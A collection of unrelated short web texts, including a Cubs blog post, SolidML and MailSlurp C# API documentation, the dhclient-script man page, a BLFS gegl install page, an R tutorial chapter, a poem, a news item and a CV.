Storm ID is a leading UK creative and technology digital consultancy. We help to realise our client's ideas and grow their business by creating digital services designed around the needs of their users. We were founded in 2001 and are based in Edinburgh; and work with some of the UK's top private and public sector organisations. We have a team of over 50 staff working across our four key service areas; Consultancy & Project Management, User Experience Design, Solution Development and Digital Marketing.
Talk to us today on 0131 561 1250.


The groom and groomsmen do have some duties to fulfill when it comes to planning the wedding. Get help finding vendors for a tuxedo rental or suit rental, and style tips for colorful socks and vintage suspenders. Plus, we've got unique groomsmen gift ideas and advice for the best man speech.


Pretty Valid
Text
Email
Password
File
Text area
Select
Nothing selected
Option 1
Option 2
Checkbox (single)
Radio button (single)
Send
Text
Send


--- layout: post status: publish published: true title: Cubs Let Down Samardzija...Again author: display_name: Corey Fineran login: Corey email<EMAIL_ADDRESS>url: '' author_login: Corey author_email<EMAIL_ADDRESS>wordpress_id: 9877 wordpress_url: http://ivyenvy.com/?p=9877 date: '2014-05-06 08:18:24 +0000' date_gmt: '2014-05-06 13:18:24 +0000' categories: - Starting Pitching tags: - Jeff Samardzija - Travis Wood - Edwin Jackson - Carlos Villanueva - Jason Hammel comments: [] ---
With every game he starts, it becomes more clear why Jeff Samardzija wants out of town. In 2014, Samardzija has pitched like he's on a mission, and he probably is.
In his 9 innings pitched Monday night, Samardzija gave up no earned runs and only 3 hits. He struck out 7 and walked 2. He also scored on Junior Lake's sacrifice fly after leading off the 6th inning with a double.
Unfortunately, that was the only run the Cubs scored and Samardzija was dealt a no decision.
Jeff Samardzijas 1st Cubs pitcher to go at least 9 IP with 0 ER and 3 hits or fewer and not get the win since Rick Reuschel in 1976.
— Katie Sharp (@ktsharp) May 6, 2014
Poor Jeff Samardzija. @EliasSports says he's 1st pitcher since 1900 to start season w 7 starts in row of 5+ IP, no more than 3 runs & 0 wins
— Jayson Stark (@jaysonst) May 6, 2014
In his 7 starts, Samardzija is 0-3 with a 1.62 ERA. He's allowed just 9 earned runs. Unfortunately, the Cubs continue to give Samardzija no run support. Here's a look at the run support the Cubs offense has provided starting pitchers:
Runs Scored/27 Outs While Pitcher is in the Game
Jason Hammel - 4.8 runs
Travis Wood - 4.5 runs
Edwin Jackson - 4.4 runs
Carlos Villanueva - 3.7 runs (includes Villanueva's relief pitching innings)
Jeff Samardzija - 1.7 runs
I think an extension with Samardzija is extremely unlikely. With the media, he's been pretty up-front about being prepared for a trade. He's also made it clear that he wants to win and play on a competitive team. It also stands to reason that he would like to be winning games when he takes the hill, which is something that isn't happening for him with the Cubs.
The best positive spin to put on this situation is that Samardzija is pitching himself to a better contract and a better return when the Cubs trade him.


new SolidML.ColorHSBA(h, s, b, a)
| Name | Type | Default | Description |
|---|---|---|---|
h |
number | 0 | optional hue in degree (0-360) |
s |
number | 0 | optional satulation between 0 and 1 |
b |
number | 0 | optional brightness between 0 and 1 |
a |
number | 1 | optional alpha between 0 and 1 |
Members
-
anumber
-
alpha between 0 and 1
-
bnumber
-
brightness between 0 and 1
-
colorpool scheme for random generation, null for constant value
-
hnumber
-
hue in degree (0-360)
-
snumber
-
satulation between 0 and 1
Methods
-
blend(dst, ratio){SolidML.ColorHSBA}
-
blend color with another SolidML.ColorHSBA
Name Type Description dst
SolidML.ColorHSBA color to blend with ratio
number blending ratio Returns:
Type Description SolidML.ColorHSBA this instance -
clone(){SolidML.ColorHSBA}
-
create clone
Returns:
Type Description SolidML.ColorHSBA new instance -
copy(c){SolidML.ColorHSBA}
-
copy from
Name Type Description c
SolidML.ColorHSBA source color copy from Returns:
Type Description SolidML.ColorHSBA this instance -
getRGBA(){object}
-
get color as {r,g,b,a}
Returns:
Type Description object object has keys {r,g,b,a}. -
multiply(c){SolidML.ColorHSBA}
-
update color by another color
Name Type Description c
SolidML.ColorHSBA color to multiply Returns:
Type Description SolidML.ColorHSBA this instance -
set(h, s, b, a){SolidML.ColorHSBA}
-
set
Name Type Description h
number hue in degree (0-360) s
number satulation between 0 and 1 b
number brightness between 0 and 1 a
number alpha between 0 and 1 Returns:
Type Description SolidML.ColorHSBA this instance -
setColorPool(colorpoolInstance)
-
set random color generator
Name Type Description colorpoolInstance
SolidML.ColorPool colorpool instance to generate random color -
setHex(hexString){SolidML.ColorHSBA}
-
set color by "#HEX" string
Name Type Description hexString
string color string stating with "#" and 3 or 6 hex. Returns:
Type Description SolidML.ColorHSBA this instance -
setRGB(col){SolidML.ColorHSBA}
-
set color by {r,g,b}
Name Type Description col
object object that has keys {r, g, b} Returns:
Type Description SolidML.ColorHSBA this instance


An Adelaide Street Is Closed Off Following A Police Incident
Bagot Avenue in Cowandilla has been closed and police are searching for a silver Subaru following an assault and car theft.
 Around 1pm an incident occurred here. When we arrived paramedics walked into a property across the road from the plaza and about 10 minutes later walked out with a man who was transported to hospital.”
According to SAPOL:
Just before 12pm today (Wednesday 13 November) police were called to a house in Bagot Avenue, after reports that two men and a woman assaulted the victim with an unknown weapon, stole property from his house and also stole his car, a 1997 silver Subaru sedan, with South Australian registration of VXN303, from a nearby car park.
The victim suffered minor injuries and was taken to hospital for treatment.
Anyone who sees the Subaru is asked to call the Police Assistance Line immediately on 131444.
LISTEN:


gegl-0.4.22
Introduction to gegl
This package provides the GEneric Graphics Library, which is a
graph based image processing format.
This package is known to build and work properly using an LFS-9.1
platform.
Package Information
gegl Dependencies
Required
babl-0.1.74 and JSON-GLib-1.4.4
Recommended
gobject-introspection-1.62.0,
Pygments-2.5.2, and PyGObject-3.34.0
Optional
asciidoc-8.6.9, Cairo-1.17.2+f93fc72c03e, Exiv2-0.27.2,
FFmpeg-4.2.2, gdk-pixbuf-2.40.0, gexiv2-0.12.0,
Graphviz-2.42.3, GTK-Doc-1.32, JasPer-2.0.14,
Little
CMS-2.9, libjpeg-turbo-2.0.4 libpng-1.6.37, librsvg-2.46.4, LibTIFF-4.1.0, libwebp-1.1.0,
Pango-1.44.7, Ruby-2.7.0, SDL2-2.0.10,
v4l-utils-1.18.0, Vala-0.46.6, lensfun, libopenraw,
libspiro, libumfpack,
LuaJIT,
MRG, and OpenEXR
User Notes: http://wiki.linuxfromscratch.org/blfs/wiki/gegl
Installation of gegl
Install gegl by running the
following commands:
mkdir build &&
cd build &&
meson --prefix=/usr .. &&
ninja
To test the results, issue: ninja
test.
Now, as the root
user:
ninja install
Command Explanations
-Ddocs=true
: Build and install
documentation (requires GTK-Doc-1.32,).
Contents
Installed Programs:
gegl and gegl-imgcmp
Installed Libraries:
libgegl-0.4.so, libgegl-npd-0.4.so,
libgegl-sc-0.4.so, and modules in /usr/lib/gegl-0.4
Installed Directories:
/usr/lib/gegl-0.4 and
/usr/include/gegl-0.4
Short Descriptions
|
gegl
|
is a commandline tool for working with the XML data
model.
|
|
gegl-imgcmp
|
is a simple image difference detection tool for use in
regression testing.
|
|
libgegl-0.4.so
|
provides infrastructure to do demand based cached non
destructive image editing on larger than RAM buffers.
|
|
libgegl-npd-0.4.so
|
is the GEGL N-point image deformation library.
|
|
libgegl-sc-0.4.so
|
is the GEGL Seamless Cloning library.
|
Last updated on 2020-02-21 10:47:11 -0800


--- layout: post title: disquiet date: '2012-11-13T10:44:00-05:00' tags: [] tumblr_url: http://poetry.liabogoev.com/post/54965865837/disquiet ---
a stirring in my belly
feelings I know
yet, so out of context
rolling tempests in my core
causing disbalance
like water in my inner ear
I sway
confused.
why?


What it is and how it affects academic performance
12/07/2014
According to Claude Steele's and Joshua Aronson's research conducted in 1995, negative stereotypes which are imposed on any ethnic or social economic group, have an adverse effect on their academic performance. In their research a group that was stereotyped as less intelligent showed more duress during test taking and thus performed lower then a group that was not stereotyped.
While that research focused mainly on performance of African-Americans vs European-Americans, it also applies to other types of ethnic and social groups. Stereotype threat can even have a lifting effect on certain groups such as Asian-Americans or Indian-Americans for example. Being associated with a specific group can subconsciously affect the mindset and the need to conform to the stereotype whether it is positive or negative.
In my personal life I can report that being associated with Jewish ethnicity can both have a positive and stress inducing negative effect. In the past, Jewish ethnicity had to perform academically to much greater degree in order to obtain the same employment level as White Anglo-Saxon Protestant group. This created additional pressure to perform well above the average. As a result it might have produced a feeling of being inadequate when my performance was on par with my peer-group and actually reduced my test scores as the additional psychological pressure has started to affect me.
Bringing my own personal experience with being stereotyped, I would be more consciouses of avoiding stereotypes and treat colleagues on my team based on the merit of their work. It is the best way to promote a healthy environment at work which should lead to high achievement levels of the entire team.


MailSlurp C# Client
Create real email addresses on demand. Send and receive emails and attachments from code and tests using CSharp (C# DotNet Core).
MailSlurp is an email API service that lets you create real email addresses in code. You can then send and receive emails and attachments in C# applications and tests.
// create client
var config = new Configuration();
config.ApiKey.Add("x-api-key", ApiKey);
// create inboxes
var inboxControllerApi = new InboxControllerApi(config);
var inbox1 = inboxControllerApi.CreateInbox();
var inbox2 = inboxControllerApi.CreateInbox();
// send email
inboxControllerApi.SendEmail(inbox1.Id, new SendEmailOptions(
to: new List<string> {inbox2.EmailAddress},
subject: "Test CSharp",
body: "Hello",
isHTML: true
));
// receive email with wait controller
var email = new WaitForControllerApi(config).WaitForLatestEmail(inbox2.Id, 60000, true);
StringAssert.Contains(email.Body, "Hello");
// list emails in inbox
var emails = inboxControllerApi.GetInboxEmailsPaginated(inbox2.Id);
Assert.AreEqual(emails.TotalElements, 1);
Quick links
Tutorials
Get started
This section describes how to get up and running with the CSharp client. The client targets DotNet-Core 2.1
and greater. If you need a different target see the .NET Standard targets below or consider calling the REST API.
See the method documentation for a list of all functions
Create API Key
First you'll need an API Key. Create a free account and copy the key from your dashboard.
Install NuGet Package
MailSlurp's CSharp library is hosted on NuGet.
With .NET CLI
dotnet add package mailslurp
dotnet restore
Package Manager
Install-Package mailslurp
Configure client
Once your MailSlurp package is installed you can import the package like so:
using mailslurp.Api;
using mailslurp.Client;
using mailslurp.Model;
Then configure a client with using your API Key.
var configuration = new Configuration();
configuration.ApiKey.Add("x-api-key", YOUR_API_KEY);
configuration.Timeout = 120_000;
Create controllers
You can call API controllers using the corresponding ControllerApi classes.
var apiInstance = new InboxControllerApi(_configuration);
Common controllers
- EmailController read and send emails
- InboxController create email addresses
- WaitForController wait for emails to arrive
- WebhookController manage http server webhooks
Email usage examples
MailSlurp has many functions. Here are some common uses:
Create an inbox
Inboxes have an ID and a real email address. You can create them using the InboxController. For more information see the creating inboxes guide.
var inboxController = new InboxControllerApi(_configuration);
var inbox = inboxController.CreateInboxWithDefaults();
Assert.That(inbox.EmailAddress, Does.Contain("@mailslurp"));
Inbox options
var options = new CreateInboxDto(
name: "Test inbox",
inboxType: CreateInboxDto.InboxTypeEnum.SMTPINBOX
);
var inbox = inboxController.CreateInboxWithOptions(options);
Assert.That(inbox.EmailAddress.Contains("@mailslurp"), Is.True);
Get an inbox
// get by id
var inboxDto = inboxController.GetInbox(inbox.Id);
// get by name
var inboxByName = inboxController.GetInboxByName(inboxDto.Name);
Assert.That(inboxByName.Exists, Is.True);
// get by email address
var inboxByEmailAddress = inboxController.GetInboxByEmailAddress(inboxDto.EmailAddress);
Assert.That(inboxByEmailAddress.Exists, Is.True);
Access mailbox using SMTP client
You can access inboxes via IMAP and SMTP:
var imapSmtpAccess = inboxController.GetImapSmtpAccess(inbox.Id);
Assert.Multiple(() =>
{
Assert.That(imapSmtpAccess.SecureSmtpServerHost, Is.Not.Null);
Assert.That(imapSmtpAccess.SecureSmtpServerPort, Is.GreaterThan(0));
Assert.That(imapSmtpAccess.SecureSmtpUsername, Is.Not.Null);
Assert.That(imapSmtpAccess.SecureSmtpPassword, Is.Not.Null);
});
Send with SMTP client
var smtpClient = new SmtpClient(imapSmtpAccess.SecureSmtpServerHost)
{
Port = imapSmtpAccess.SecureSmtpServerPort,
Credentials = new NetworkCredential(userName: imapSmtpAccess.SecureSmtpUsername,
password: imapSmtpAccess.SecureSmtpPassword),
EnableSsl = true
};
// smtpClient.Send(...);
Can list inboxes
Inboxes are listed in paginated format:
var inboxes = inboxController.GetAllInboxes(page: 0, size: 10);
Assert.Multiple(() =>
{
// pagination
Assert.That(inboxes.Pageable.PageNumber, Is.EqualTo(0));
Assert.That(inboxes.Pageable.PageSize, Is.EqualTo(10));
// inboxes
var inboxItem = inboxes.Content.First();
Assert.That(inboxItem.EmailAddress, Is.Not.Null);
});
See the InboxController docs for help.
Delete an inbox
inboxController.DeleteInbox(inbox.Id);
Verify email address
Validate email recipients to maintain a good sender reputation and reduce bounces.
var verificationController = new EmailVerificationControllerApi(_configuration);
var emails = new List<string>
{
<EMAIL_ADDRESS><EMAIL_ADDRESS>};
var result = verificationController.ValidateEmailAddressList(new ValidateEmailAddressListOptions(emails));
Assert.Multiple(() =>
{
Assert.That(result.InvalidEmailAddresses, Does.Contain("bad@mailslurp.dev"));
Assert.That(result.ValidEmailAddresses, Does.Contain("contact@mailslurp.dev"));
});
Upload attachments
To send attachments first upload them. The method returns a list of attachment IDs that can be used when sending.
var attachmentController = new AttachmentControllerApi(_configuration);
var uploadOptions = new UploadAttachmentOptions(
contentType: "text/plain",
filename: "test.txt",
base64Contents: Convert.ToBase64String("hello world"u8.ToArray())
);
var attachmentIds = attachmentController.UploadAttachment(uploadOptions);
Send emails
You can send an email by first creating an inbox. Then use the inbox ID to send an email from it.
var sendEmailOptions = new SendEmailOptions
{
To = new List<string>() { recipient.EmailAddress },
Subject = "Hello friend",
Body = "
MailSlurp supports HTML
",
Attachments = attachmentIds,
UseInboxName = true
};
var sentEmail = inboxController.SendEmailAndConfirm(inbox.Id, sendEmailOptions);
Assert.That(sentEmail.Subject, Does.Contain("Hello"));
See the SendEmailOptions for sending options.
Receive emails
You can fetch and read emails that already exist using the EmailControllerApi. To wait for expected emails to arrive use the WaitForControllerApi to wait for conditions to be met.
You can receive emails using waitFor
methods on the WaitForControllerApi class.
var inboxId = recipient.Id;
var waitForController = new WaitForControllerApi(_configuration);
var email = waitForController.WaitForLatestEmail(inboxId: inboxId, timeout: 60_000, unreadOnly: true);
Assert.That(email.Body, Does.Contain("MailSlurp supports HTML"));
You can extract content from email bodies using RegExps:
// imagine that email body is `Your code is: 123` and you want to get the number
var rx = new Regex(@"Your code is: ([0-9]{3})", RegexOptions.Compiled);
var match = rx.Match(email.Body);
var code = match.Groups[1].Value;
Assert.Equal("123", code);
If you are having trouble receiving emails please see the email receiving guide or the inbox not receiving support page.
Email matching
You can wait for matching emails like so:
var matchOptions = new MatchOptions(
conditions: new List<ConditionOption>
{
new(
condition: ConditionOption.ConditionEnum.HASATTACHMENTS,
value: ConditionOption.ValueEnum.TRUE
)
},
matches: new List<MatchOption>
{
new(
field: MatchOption.FieldEnum.FROM,
should: MatchOption.ShouldEnum.EQUAL,
value: sender
)
});
var matchingEmails = waitForController.WaitForMatchingEmails(inboxId: inboxId, timeout: 60_000, count: 1,
matchOptions: matchOptions);
Assert.That(matchingEmails.First().Subject, Does.Contain("Hello"));
Fetch email by ID
var emailController = new EmailControllerApi(_configuration);
var fullEmail = emailController.GetEmail(email.Id);
Assert.That(fullEmail.Attachments, Has.Count.EqualTo(1));
Get sent emails
[TestMethod]
public void Can_Get_Sent_Emails()
{
var sentEmailsControllerApi = new SentEmailsControllerApi(_config);
var inboxControllerApi = new InboxControllerApi(_config);
var inbox = inboxControllerApi.CreateInbox();
var sentEmails = sentEmailsControllerApi.GetSentEmails(inboxId:inbox.Id, page:0, size: 20);
Assert.IsNotNull(sentEmails.Content);
Assert.IsNotNull(sentEmails.TotalPages);
Assert.AreEqual(sentEmails.Pageable.PageNumber, 0);
Assert.AreEqual(sentEmails.Pageable.PageSize, 20);
}
Extract email content
You can extract content using pattern matching with the WaitForController
[TestMethod]
public void Can_Extract_Codes()
{
// create an inbox
var inboxControllerApi = new InboxControllerApi(_config);
var inbox = inboxControllerApi.CreateInbox();
// send a code to the inbox
var sendEmailOptions = new SendEmailOptions(
to: new List<string>() {inbox.EmailAddress},
subject: "Welcome email",
body: "Hello. Your code is X-456"
);
inboxControllerApi.SendEmail(inbox.Id, sendEmailOptions);
// wait for the email to arrive
var waitForController = new WaitForControllerApi(_config);
var emailController = new EmailControllerApi(_config);
var email = waitForController.WaitForLatestEmail(inboxId:inbox.Id, timeout: 30000, unreadOnly: true);
StringAssert.Contains(email.Body, "Hello");
// extract the code
var matchOptions = new ContentMatchOptions(pattern:"Your code is ([A-Z]-[0-9]{3})");
var matchResults = emailController.GetEmailContentMatch(email.Id, matchOptions);
Assert.AreEqual(matchResults.Matches[1], "X-456");
}
SDK Documentation
See the GitHub source code for more Method Documentation.


dhclient-script
Section: Maintenance Commands (8)Index Return to Main Contents
NAME
dhclient-script - DHCP client network configuration scriptDESCRIPTION
The DHCP client network configuration script is invoked from time to time by dhclient(8). This script is used by the dhcp client to set each interface's initial configuration prior to requesting an address, to test the address once it has been offered, and to set the interface's final configuration once a lease has been acquired. If no lease is acquired, the script is used to test predefined leases, if any, and also called once if no valid lease can be identified.This script is not meant to be customized by the end user. If local customizations are needed, they should be possible using the enter and exit hooks provided (see HOOKS for details). These hooks will allow the user to override the default behaviour of the client in creating a /etc/resolv.conf file, and to handle DHCP options not handled by default.
No standard client script exists for some operating systems, even though the actual client may work, so a pioneering user may well need to create a new script or modify an existing one. In general, customizations specific to a particular computer should be done in the /etc/dhcp/dhclient.conf file. If you find that you can't make such a customization without customizing /etc/dhcp/dhclient.conf or using the enter and exit hooks, please submit a bug report.
HOOKS
When it starts, the client script first defines a shell function, make_resolv_conf , which is later used to create the /etc/resolv.conf file. To override the default behaviour, redefine this function in the enter hook script.On after defining the make_resolv_conf function, the client script checks for the presence of an executable /etc/dhcp/dhclient-enter-hooks script, and if present, it invokes the script inline, using the Bourne shell '.' command. The entire environment documented under OPERATION is available to this script, which may modify the environment if needed to change the behaviour of the script. If an error occurs during the execution of the script, it can set the exit_status variable to a nonzero value, and /sbin/dhclient-script will exit with that error code immediately after the client script exits.
After all processing has completed, /sbin/dhclient-script checks for the presence of an executable /etc/dhcp/dhclient-exit-hooks script, which if present is invoked using the '.' command. The exit status of dhclient-script will be passed to dhclient-exit-hooks in the exit_status shell variable, and will always be zero if the script succeeded at the task for which it was invoked. The rest of the environment as described previously for dhclient-enter-hooks is also present. The /etc/dhcp/dhclient-exit-hooks script can modify the valid of exit_status to change the exit status of dhclient-script.
Immediately after dhclient brings an interface UP with a new IP address, subnet mask, and routes, in the REBOOT/BOUND states, it will check for the existence of an executable /etc/dhcp/dhclient-up-hooks script, and source it if found. This script can handle DHCP options in the environment that are not handled by default. A per-interface. /etc/dhcp/dhclient-${IF}-up-hooks script will override the generic script and be sourced when interface $IF has been brought up.
Immediately before dhclient brings an interface DOWN, removing its IP address, subnet mask, and routes, in the STOP/RELEASE states, it will check for the existence of an executable /etc/dhcp/dhclient-down-hooks script, and source it if found. This script can handle DHCP options in the environment that are not handled by default. A per-interface /etc/dhcp/dhclient-${IF}-down-hooks script will override the generic script and be sourced when interface $IF is about to be brought down.
OPERATION
When dhclient needs to invoke the client configuration script, it defines a set of variables in the environment, and then invokes /sbin/dhclient-script. In all cases, $reason is set to the name of the reason why the script has been invoked. The following reasons are currently defined: MEDIUM, PREINIT, BOUND, RENEW, REBIND, REBOOT, EXPIRE, FAIL, STOP, RELEASE, NBI and TIMEOUT.MEDIUM
The DHCP client is requesting that an interface's media type be set. The interface name is passed in $interface, and the media type is passed in $medium.PREINIT
The DHCP client is requesting that an interface be configured as required in order to send packets prior to receiving an actual address. For clients which use the BSD socket library, this means configuring the interface with an IP address of <IP_ADDRESS> and a broadcast address of <IP_ADDRESS>. For other clients, it may be possible to simply configure the interface up without actually giving it an IP address at all. The interface name is passed in $interface, and the media type in $medium.If an IP alias has been declared in dhclient.conf, its address will be passed in $alias_ip_address, and that ip alias should be deleted from the interface, along with any routes to it.
BOUND
The DHCP client has done an initial binding to a new address. The new ip address is passed in $new_ip_address, and the interface name is passed in $interface. The media type is passed in $medium. Any options acquired from the server are passed using the option name described in dhcp-options, except that dashes ('-') are replaced by underscores ('_') in order to make valid shell variables, and the variable names start with new_. So for example, the new subnet mask would be passed in $new_subnet_mask.Before actually configuring the address, dhclient-script should somehow ARP for it and exit with a nonzero status if it receives a reply. In this case, the client will send a DHCPDECLINE message to the server and acquire a different address. This may also be done in the RENEW, REBIND, or REBOOT states, but is not required, and indeed may not be desirable.
When a binding has been completed, a lot of network parameters are likely to need to be set up. A new /etc/resolv.conf needs to be created, using the values of $new_domain_name and $new_domain_name_servers (which may list more than one server, separated by spaces). A default route should be set using $new_routers, and static routes may need to be set up using $new_static_routes.
If an IP alias has been declared, it must be set up here. The alias IP address will be written as $alias_ip_address, and other DHCP options that are set for the alias (e.g., subnet mask) will be passed in variables named as described previously except starting with $alias_ instead of $new_. Care should be taken that the alias IP address not be used if it is identical to the bound IP address ($new_ip_address), since the other alias parameters may be incorrect in this case.
RENEW
When a binding has been renewed, the script is called as in BOUND, except that in addition to all the variables starting with $new_, there is another set of variables starting with $old_. Persistent settings that may have changed need to be deleted - for example, if a local route to the bound address is being configured, the old local route should be deleted. If the default route has changed, the old default route should be deleted. If the static routes have changed, the old ones should be deleted. Otherwise, processing can be done as with BOUND.REBIND
The DHCP client has rebound to a new DHCP server. This can be handled as with RENEW, except that if the IP address has changed, the ARP table should be cleared.REBOOT
The DHCP client has successfully reacquired its old address after a reboot. This can be processed as with BOUND.EXPIRE
The DHCP client has failed to renew its lease or acquire a new one, and the lease has expired. The IP address must be relinquished, and all related parameters should be deleted, as in RENEW and REBIND.FAIL
The DHCP client has been unable to contact any DHCP servers, and any leases that have been tested have not proved to be valid. The parameters from the last lease tested should be deconfigured. This can be handled in the same way as EXPIRE.STOP
The dhclient has been informed to shut down gracefully, the dhclient-script should unconfigure or shutdown the interface as appropriate.RELEASE
The dhclient has been executed using the -r flag, indicating that the administrator wishes it to release its lease(s). dhclient-script should unconfigure or shutdown the interface.NBI
No-Broadcast-Interfaces...dhclient was unable to find any interfaces upon which it believed it should commence DHCP. What dhclient-script should do in this situation is entirely up to the implementor.TIMEOUT
The DHCP client has been unable to contact any DHCP servers. However, an old lease has been identified, and its parameters have been passed in as with BOUND. The client configuration script should test these parameters and, if it has reason to believe they are valid, should exit with a value of zero. If not, it should exit with a nonzero value.The usual way to test a lease is to set up the network as with REBIND (since this may be called to test more than one lease) and then ping the first router defined in $routers. If a response is received, the lease must be valid for the network to which the interface is currently connected. It would be more complete to try to ping all of the routers listed in $new_routers, as well as those listed in $new_static_routes, but current scripts do not do this.
FILES
Each operating system should generally have its own script file, although the script files for similar operating systems may be similar or even identical. The script files included in Internet Systems Consortium DHCP distribution appear in the distribution tree under client/scripts, and bear the names of the operating systems on which they are intended to work.BUGS
If more than one interface is being used, there's no obvious way to avoid clashes between server-supplied configuration parameters - for example, the stock dhclient-script rewrites /etc/resolv.conf. If more than one interface is being configured, /etc/resolv.conf will be repeatedly initialized to the values provided by one server, and then the other. Assuming the information provided by both servers is valid, this shouldn't cause any real problems, but it could be confusing.SEE ALSO
dhclient(8), dhcpd(8), dhcrelay(8), dhclient.conf(5) and dhclient.leases(5).AUTHOR
dhclient-script(8) has been written for Internet Systems Consortium by Ted Lemon in cooperation with Vixie Enterprises. To learn more about Internet Systems Consortium, see https://www.isc.org. To learn more about Vixie Enterprises, see http://www.vix.com.
Index
- NAME
- DESCRIPTION
- HOOKS
- OPERATION
- MEDIUM
- PREINIT
- BOUND
- RENEW
- REBIND
- REBOOT
- EXPIRE
- FAIL
- STOP
- RELEASE
- NBI
- TIMEOUT
- FILES
- BUGS
- SEE ALSO
- AUTHOR
This document was created by man2html, using the manual pages.
Time: 05:34:25 GMT, December 24, 2015


Reports
November 2018
July 2018
Select Energy Services Equity Research Report - Jasper Deasey
May 2018
HG Holdings Equity Research Report - Jasper Deasey
Select Energy Services Equity Research Report - Jasper Deasey
HG Holdings Equity Research Report - Jasper Deasey


SEO and roboresources directories
Robopages behavior revolves around two most used plugins:
dynamicNavigation.php and flexyFileContent.php
You aren't required to use those plugins but they are useful. They are the heart and soul of robopages.
Inside the fragments directory the admin creates an arbitrarily complex hierarchy of directories.
Those directories get populated with HTML fragment files (index.htm, boats.htm, whatever.htm) images
and other allowed files as recognized by defined in conf/roboMimeTypes.ini
For each such nested content directory inside fragments the admin can create an optional roboresources directory.
....path/path/fragments/roboresources
roboresources directories do not appear in dynamic navigation displays.
roboresources typically contains a pics directory which contains either images or links to images, and a thumbs directory. Thumbnail images are expected to have a tn- prefix. pics/boat.jpg would be matched with thumbs/tn-boat.jpg
Creating those directories and resources with a GUI would require making the file system writable to the web server process. I prefer to do everything with ssh scp bash scripts and perl or python. mkslides is a perl script included with the sources.
SEO Punchline
The roboresources directories can also include the files:
layout
title
keywords (applies to all files in the parent directory)
description (applies to all files in the parent directory)
page.htm-keywords (overrides keywords and for this particular page only)
page.htm-description (overrides description and for this particular page only)
Those files are typically generated by a script and then manually edited to some degree, on either a per-directory or per-page basis.


GitPals
Notifications
Dashboard
Submit a project
Log Out
Forum
Search
Notifications
[[${#maps.size(notifications)}]]
No notifications yet
[[${notification.value.text}]]


| Name | Age | Club | Value | Position | Country | Availability |
|---|---|---|---|---|---|---|
| Lionel Messi | 27 | FC Barcelona | £120 million | CF | Agrentina | N/A |
| Cristiano Ronaldo | 29 | Real Madrid | £100 million | LW | Portugal | N/A |
| Arjen Robben | 30 | FC Bayern Munich | £30 million | RW | Netherlands | N/A |
| Robert Lewandowki | 26 | FC Bayern Munich | £50 million | CF | Poland | N/A |
| Serigo Kun Aguero | 26 | Manchester City FC | £45 million | CF | Argentina | N/A |
| Marco Reus | 25 | Borussia Dortmund | £50 million | LW | Germany | N/A |
| Mesut Ozil | 25 | Arsenal FC | £45 million | AM | Germany | N/A |
| Thiago Silva | 29 | Paris Saint-Germain | £40 million | CB | Brazil | N/A |
| Ivan Klasnic | 34 | - | £0.5 million | CF | Croatia | Free Agent |
| Joe Hart | 27 | Manchester City FC | £16 million | GK | England | N/A |


START
Pomodori-technik 25 Minutes
You can take 5 Minutes Break. Don't play with your cell phone :)
Enjoy your Time
00:00
.00


8 Additional R Features
As we conclude this training, I also want to mention a few additional features that you might find useful when analyzing and visualizing data using R.
8.1 Removing Objects from the Workspace
When you define an object (e.g., a dataset) within an R session, it stays in the workspace until you close R. However, if you decide to delete a particular object while still using R, one of the following methods can be used:
<- 1:100
x
# Use rm() to remove x entirely
rm(x)
# Or, turn x into NULL (deletes the content of x)
<- NULL x
8.2 Saving Output in R
There are several ways to save the output of your analysis in R (i.e., everything printed on the console section). The following are some of the options to save output in R:
8.2.1 Using the sink
Function
Using the sink
Function, it is possible to create an empty text document (called my_output.txt in the following example) and capture the output printed in the console. All the output, including warning messages, in the console is saved into the document once the final sink()
function is executed.
# Start saving the output
sink("my_output.txt")
<- lm(mpg ~ wt, data = mtcars)
fit summary(fit)
# Stop saving the output
sink()
8.2.2 Saving Objects from an R Session
If you want to save on particular object that you made (e.g., a dataset) for use in R later, you can use the save
function.
<- data.frame(person = 1:10,
mydata age = sample.int(30, 10))
# Save the data
save(mydata, file="myfile.Rdata")
# Load the data when needed again
load("myfile.Rdata")
Alternatively, you can save the entire R session using save.image()
. This saves all of the objects to a file “.RData” in your working directory.
<- data.frame(person = 1:10,
mydata1 age = sample.int(30, 10))
<- data.frame(person = 1:10,
mydata2 weight = rnorm(10, 75, 4))
<- 1:100
x
# It saves all objects in one place
save.image(file = "myfile.Rdata")
# Load the data when needed again
load("myfile.Rdata")
8.2.3 Saving the History of an R Session
If you want to save all the commands you used in a session, then you can use the savehistory
function. This is helpful because it allows you to browse the history (i.e., all the commands or functions you have entered) when you load the same history into R in the future. You simply press the up-arrow and down-arrow keys to view the commands you typed earlier.
# Save the history
savehistory(file = "my_analysis.Rhistory")
# Load the history when needed again
loadhistory("my_analysis.Rhistory")
8.2.4 Using R Markdown
R Markdown (https://rmarkdown.rstudio.com/) is an excellent way to save all the output from R (e.g., codes, output, data visualizations) in a nice, readable format. R Markdown allows users to turn their analysis into high quality documents, which then can be exported as an HTML file, a PDF, or a Word document. To see how R Markdown works, check out this nice tutorial: https://rmarkdown.rstudio.com/lesson-1.html
8.3 Unloading a Package
Sometimes you may want to deactivate or unload some packages that you have do not need for your analysis anymore. The detach
function allows users to remove a particular package from an R session. For example, let’s assume that we activated the dplyr package but realized that we do not need this particular package anymore. The following line will remove the package from our session (i.e., the package will be deactivated):
detach("package:dplyr", unload=TRUE)
8.4 Updating R and R Packages
Every now and then the authors of packages release updated versions of their packages. The updated versions add new functions, fix bugs, and so on. Therefore, it might be a good idea to update your packages periodically. To update a particular package, we can use the update.packages
function.
# Update the dplyr package
update.packages("dplyr")
About every six months or so, a new version of R is released. It is not possible to update R from within RStudio. To get the new version, you can go to the CRAN website (https://cran.r-project.org/) and download the most recent version of R. Alternatively, you can update R using the R GUI (not RStudio). The following commands will install the installr package, download and install the latest version of R, and finally carry all of the packages in your library to the new version of R.
# Install and activate the package
install.packages("installr")
library("installr")
# Update R with default options
updateR(TRUE)
# Or, installr asks what you want at each step
updateR()


I have a huge passion for technology and knowledge. I love to dream and hunt my dreams until they come true. Love to challenge myself to reach and overcome my limits, because that way I find myself, understand the world better and become a better person overall. I have learned to try before judge. Always open-minded and passionate about life and technology! Finally, my job and passion is Computer Science & Software Engineering.
My international career path started with Akka technologies. Akka is an engineer consulting multinational company which provides engineering solutions across the globe.
For my thesis I created a fully functionall smart home based on IoT technology.
I worked as freelance consultant software engineer on Greece. Worked for small business & friends, developing solutions.
I worked as full-stack engineer on a nation-wide Greek television company, developing their web-tv infrastructure.
A Dht sensor arrached on a Raspberry-pi. An opc-server on node js and a node.js/html vizualization client.
A smart home system based on IoT technology, which provides services such as : enviroment monitoring, data visualization, device controll, automation and feature extraction.
This is a demonstration of Remote Method Invocation protocol in an Airplane Ticket Booking System as its use case.
